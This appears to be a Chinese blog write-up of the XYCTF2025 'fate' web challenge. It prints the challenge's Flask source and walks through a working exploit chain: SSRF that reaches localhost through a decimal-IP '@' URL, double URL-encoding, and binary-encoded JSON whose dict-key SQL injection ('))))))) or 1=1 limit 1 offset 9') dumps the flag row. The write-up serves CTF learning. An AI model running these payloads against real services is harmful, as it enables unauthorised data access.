XYCTF2025 fate 题解

168次阅读
没有评论

共计5229个字符,预计需要花费14分钟才能阅读完成。

题目

题目内容:一生中能改变命运的机会可不多啊。

以下是源代码:

  1. app.py
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

    return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')

    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO)")
            """
            Some waf hidden here ;)
            """

            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")

            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
    app.run(debug=True)
  1. init_db.py
import sqlite3

conn = sqlite3.connect("D:/CTF/temp/fate/database.db")
conn.execute("""CREATE TABLE FATETABLE (
  NAME TEXT NOT NULL,
  FATE TEXT NOT NULL
);""")
Fate = [('JOHN', '1994-2030 Dead in a car accident'),
    ('JANE', '1990-2025 Lost in a fire'),
    ('SARAH', '1982-2017 Fired by a government official'),
    ('DANIEL', '1978-2013 Murdered by a police officer'),
    ('LUKE', '1974-2010 Assassinated by a military officer'),
    ('KAREN', '1970-2006 Fallen from a cliff'),
    ('BRIAN', '1966-2002 Drowned in a river'),
    ('ANNA', '1962-1998 Killed by a bomb'),
    ('JACOB', '1954-1990 Lost in a plane crash'),
    ('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()

剩下的文件对做题没有影响,这里就不放出了。

思路

我们的目的是获取数据里的这行数据,里面包含 flag

('LAMENTXU', r'2024 Send you a flag flag{FAKE}')

要获得数据,必须通过 /1337 的路由,而这个网页又只能是内网访问。刚好路由 /proxy 提供了代理访问的代码,但是这里屏蔽了关键词 . 和所有的大小写字母。因此我们不能使用 127.0.0.1 或者 localhost 来访问内网网页。

而且访问 /proxy?url=/test 会转向访问到 http://lamentxu.top/test,并不能访问内网。可以用 http://lamentxu.top@127.0.0.1/1337 来绕过,@ 前面表示的是用户名和密码,因此我们实际访问了 http://127.0.0.1/1337

但是 127.0.0.1 肯定是不行的。想到 IPV4 地址不仅支持 点分十进制 表示法,还支持 十进制 表示,即127.0.0.1 的二进制为 0111 1111 0000 0000 0000 0000 0000 0001,转换成十进制为 2130706433

XYCTF2025 fate 题解

于是构造:

# 网页端口是 8080 可以参考比赛网页的端口
/proxy?url=@127.0.0.1:8080/1337
# 绕过改成以下
/proxy?url=@2130706433:8080/1337

XYCTF2025 fate 题解

接着访问 /1337 网页要求给参数 0 和 1,其中 0 要求是 abcdefghi,但是代理网页禁止使用所有大小写字符。可以用 URL 编码来绕过,即 0=%61%62%63%64%65%66%67%68%69,得到:

/proxy?url=@2130706433:8080/1337?0=%61%62%63%64%65%66%67%68%69
# 浏览器会自动转换编码,因此要两轮 URL 编码
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569

XYCTF2025 fate 题解

接着给参数 1 构造 json 即可。要绕过 bin 转 string 函数:

json_str = '{"name": "JOHN"}'
binary_str = ''.join(format(ord(c), '08b') for c in json_str)
print(binary_str)

得到:

/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=01111011001000100110111001100001011011010110010100100010001110100010000000100010010010100100111101001000010011100010001001111101

XYCTF2025 fate 题解

这里直接输入人名肯定不行,长度会超,但是题目有提示是 json 的反序列化漏洞,我们构造 JSON 格式为:

{"name": {"))))))) or 1=1 limit 1 offset 9-- +":"test"}}

这里顺便还用到了 SQL 注入,绕过了限制,获得第 9 行。用 ))))))) 来封闭前面的 upper 函数,并且用 or 1=1 获得所有的人名,接着 limit 1 offset 9 限制一条并返回第 9 条我们要的 flag

json_str = '{"name": {"))))))) or 1=1 limit 1 offset 9-- +":"test"}}'
binary_str = ''.join(format(ord(c), '08b') for c in json_str)
print(binary_str)

得到最终的 payload

/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=0111101100100010011011100110000101101101011001010010001000111010001000000111101100100010001010010010100100101001001010010010100100101001001010010010000001101111011100100010000000110001001111010011000100100000011011000110100101101101011010010111010000100000001100010010000001101111011001100110011001110011011001010111010000100000001110010010110100101101001000000010101100100010001110100010001001110100011001010111001101110100001000100111110101111101

XYCTF2025 fate 题解

Payload

http://eci-2ze416x3w8z8l5bqv7tn.cloudeci1.ichunqiu.com:8080/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=0111101100100010011011100110000101101101011001010010001000111010001000000111101100100010001010010010100100101001001010010010100100101001001010010010000001101111011100100010000000110001001111010011000100100000011011000110100101101101011010010111010000100000001100010010000001101111011001100110011001110011011001010111010000100000001110010010110100101101001000000010101100100010001110100010001001110100011001010111001101110100001000100111110101111101

XYCTF2025 fate 题解

正文完
 0
评论(没有评论)
验证码
zh_CN简体中文